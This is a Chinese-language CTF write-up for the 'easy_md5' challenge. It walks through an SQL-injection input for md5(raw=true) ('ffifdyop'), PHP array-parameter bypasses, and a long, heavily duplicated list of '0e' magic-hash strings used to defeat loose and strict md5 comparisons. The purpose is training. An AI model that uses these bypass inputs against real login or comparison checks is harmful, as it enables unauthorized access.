我们以nssctf上的一道题为例 BJDCTF 2020]easy_md5
打开题目,我们尝试一下万能密码,SQL注入都不行
然后我们就抓包,或者是F12看看响应头里面有什么
F12之后我们就发现响应头里面有sql语句hint
select * from 'admin' where password=md5($pass,true)
首先我们就要了解一下MD5函数 MD5(string,raw)
string:要计算的字符串
raw:FLASE 32位16进制的字符串 , TRUE 16位原始二进制的字符串
当我们输入ffifdyop发现页面跳转
然后我们查看一下源代码
要求我们以get的方式传入a和b,但是a和b的值不相等,md5的值却要相等
第一种方法php数组绕过
/levels91.php?a[]=1&b[]=2
即a不等于b
第二种方法MD5碰撞
现列举常见的MD5碰撞
s878926199a //原始字符串
0e545993274517709034328855841020 //md5值
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
我们随便用一个就可以了
/levels91.php?a=s1836677006a&b=s1665632922a
然后页面就会发生跳转
这里与上面就不同了,上面是俩个等号是弱类型比较,这里是三个等号是强类型比较
也就是说我们要求这俩个参数的值强不相等 ,但是这俩个参数的MD5却要强相等
我们这里就不能用MD5碰撞,只能继续用数组绕过
我们要区别的是弱类型比较和强类型比较,它们俩个都是可以用数组绕过